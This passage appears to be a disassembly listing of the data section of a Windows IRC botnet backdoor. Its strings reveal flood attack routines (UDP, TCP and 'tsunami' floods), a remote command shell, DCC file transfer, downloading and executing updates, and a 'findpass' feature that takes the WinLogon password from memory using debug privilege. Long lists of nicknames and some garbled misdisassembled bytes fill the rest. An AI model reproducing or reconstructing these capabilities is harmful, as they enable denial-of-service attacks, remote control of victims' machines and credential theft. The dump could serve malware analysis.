65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143F7+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415F27o dd 6574656Ch, 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E8Ao dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00416523o ; ___:004166B9o dd 726F72h unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:0041638Co dd 74756Fh dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:0041632Bo dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:004165FAo unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AF8o dd 25206465h, 73h unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_438438 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43859C dd offset byte_530055 ; DATA XREF: sub_4172C1+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004C+1 dd offset byte_4E0049 dd 0 off_4385B4 dd offset byte_530055 ; DATA XREF: sub_4172C1+CEo dd offset byte_520045 dd offset loc_41004C+2 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- sbb [ebx-4E77FFBDh], dl inc edx add [eax+1C0042C6h], ah mov byte ptr [edx+0], 14h xchg eax, ebx inc ebx add al, dl scasd inc edx add [eax-3Ah], dh inc edx add [edi+ebp*4-4DE7FFBEh], ch inc edx add [eax-3Ah], bh inc edx add [eax], dl xchg eax, ebx inc ebx add [ebx+edx*4], cl inc ebx add [eax], cl xchg eax, ebx inc ebx add [ebx+edx*4], al inc ebx add [edi+esi*4+42h], bh add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset dword_439300 ; --------------------------------------------------------------------------- cld xchg eax, edx inc ebx add al, bh xchg eax, edx inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439030 dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" ; --------------------------------------------------------------------------- push 6000438Dh lea eax, [ebx+0] pop eax lea eax, [ebx+0] push eax lea eax, [ebx+0] dec eax lea eax, [ebx+0] inc eax lea eax, [ebx+0] cmp [ebp-72CFFFBDh], cl inc ebx add [eax], ch lea eax, [ebx+0] sbb al, 8Dh inc ebx add ds:8D0C0043h[ecx*4], dl inc ebx add [eax], cl lea eax, [ebx+0] add [ebp-6D0BFFBDh], cl inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- db 10h db 93h ; “ db 43h ; C db 0 db 88h ; ˆ db 0B1h ; ± db 42h ; B db 0 db 0Ch db 93h ; “ db 43h ; C db 0 db 8 db 93h ; “ db 43h ; C db 0 db 4 db 93h ; “ db 43h ; C db 0 db 70h ; p db 0C6h ; Æ db 42h ; B db 0 db 34h ; 4 db 0B9h ; ¹ db 42h ; B db 0 db 7Ch ; | db 0B7h ; · db 42h ; B db 0 db 0ECh ; ì db 0CAh ; Ê db 42h ; B db 0 dd offset dword_439300 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset off_438C78 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438C38 dd offset dword_438C34 dd offset dword_438C2C dd offset dword_438C20 dd offset dword_438C18 dd offset dword_438C10 dd offset dword_438C08 dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: ___:00438BC8o aShit db 'shit',0 ; DATA XREF: ___:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo align 4 off_438C78 dd offset word_594F42 ; DATA XREF: ___:00438BB8o aFree db 'Free',0 ; DATA XREF: ___:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438B64o aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: ___:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co aRt db 'rt',0 ; DATA XREF: ___:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: ___:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: ___:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: ___:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438AF8o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 ; DATA XREF: ___:00438A78o aTree db 'tree',0 ; DATA XREF: ___:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: ___:00438A70o aLez db 'lez',0 ; DATA XREF: ___:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o align 4 